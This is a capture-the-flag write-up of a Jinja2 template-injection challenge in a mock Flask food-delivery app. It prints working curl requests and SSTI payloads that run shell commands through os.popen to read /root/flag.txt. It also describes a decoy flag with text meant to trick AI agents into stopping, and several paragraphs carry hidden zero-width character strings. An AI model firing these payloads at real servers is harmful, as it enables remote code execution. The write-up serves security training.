← Back to Writeups
CUSTOMMediumWeb

QuickBite — SSTI via Registration Name Field

XESXOR9/2/20263 min read
#web#custom#medium#decoy_flag_recognition#rce_via_lipsum_globals_os_pope#render_template_string_abuse#ssti_jinja2#user_registration_injection

QuickBite — SSTI via Registration Name Field

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_recognition, rce_via_lipsum_globals_os_popen, render_template_string_abuse, ssti_jinja2, user_registration_injection

Summary

Walkthrough of the CUSTOM Web QuickBite — SSTI via Registration Name Field. Task: Flask food delivery app with user registration; first_name field passed to Jinja2 render_template_string() unsandboxed on profile welcome banner. Solution: Registered user with {{lipsum.__global

Description

QuickBite is a food delivery platform where customers can browse restaurants, place orders, and track deliveries. The platform features user registration, restaurant browsing, a shopping cart, order history, and a profile management page. Find a vulnerability that allows executing arbitrary commands on the server and retrieve the flag stored at /root/flag.txt.

A Flask/Jinja2 web application simulating a food delivery service. The registration form's first_name field is rendered unsafely via render_template_string() on the profile page's welcome banner, enabling Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Initial Reconnaissance

  • The application is a Flask/Jinja2 web app (identified by session cookie format, nginx server, Jinja2 templating patterns)
  • Key endpoints: /, /register, /login, /profile, /restaurants, /orders, /cart
  • Registration form at /register accepts: first_name, last_name, email, phone, address, password, confirm_password
  • Decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} is embedded in HTML comments and hidden divs on every page, with social engineering text designed to trick AI agents and automated scanners into stopping. This is a honeypot — NOT the real flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SSTI Discovery

Registered a new user with {{7*7}} as the first_name field:

bash
curl -sv -c cookies.txt -X POST "$URL/register" \
  -d "first_name={{7*7}}&last_name=TestUser&email=ssti1@test.com&phone=1234567890&address=123+Main+St&password=password123&confirm_password=password123"

On the profile page, the welcome banner rendered:

html
<div class="welcome-banner"><h2>Welcome back, 49!</h2>

The {{7*7}} was evaluated to 49, confirming Jinja2 SSTI.

Critical observation: The user's name appears in multiple locations on the profile page (navbar dropdown, profile card, account details form), but only the welcome banner renders the template expression. All other locations show the raw {{7*7}} escaped as HTML entities (&#123;&#123;7*7&#125;&#125;). This means only the welcome banner uses render_template_string() or equivalent unsafe rendering — the rest use standard Jinja2 auto-escaping. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Root Cause

The application passes the user's first_name directly into Jinja2's render_template_string() when constructing the welcome banner on /profile. The standard Environment is used instead of SandboxedEnvironment, giving templates full access to Python's object hierarchy. Combined with the app running as root, SSTI immediately escalates to full system compromise.

Solution

Step 1 — Confirm SSTI

Register a test user with {{7*7}} as first name and verify 49 appears in the welcome banner on /profile. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2 — Exploit via lipsum globals

Register a new user with the RCE payload in first_name:

bash
curl -sv -c cookies2.txt -X POST "$URL/register" \
  --data-urlencode 'first_name={{lipsum.__globals__["os"].popen("cat /root/flag.txt").read()}}' \
  -d "last_name=Exploit&email=ssti2@test.com&phone=1234567890&address=123+Main+St&password=password123&confirm_password=password123"

The payload {{lipsum.__globals__["os"].popen("cat /root/flag.txt").read()}} works because:

  1. lipsum is a built-in Jinja2 global (the Lorem Ipsum generator function)
  2. lipsum.__globals__ exposes the Python global namespace of the module where lipsum is defined
  3. "os" is available in those globals because Jinja2's internals import it
  4. os.popen() executes a shell command and .read() captures the output ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3 — Read the flag

Visit /profile after registration. The welcome banner renders:

Welcome back, FLAG{REDACTED}

Alternative payloads that would also work:

python
# Via __subclasses__ chain
{{''.__class__.__mro__[1].__subclasses__()[X]('cat /root/flag.txt',shell=True,stdout=-1).communicate()[0]}}

# Via config/request objects
{{config.__class__.__init__.__globals__['os'].popen('cat /root/flag.txt').read()}}

# Via cycler (another Jinja2 built-in)
{{cycler.__init__.__globals__.os.popen('cat /root/flag.txt').read()}}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering decoy_flag_recognition, rce_via_lipsum_globals_os_popen, render_template_string_abuse, ssti_jinja2, user_registration_injection was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-05 • CUSTOM • QuickBite — SSTI via Registration Name Field • Difficulty: Medium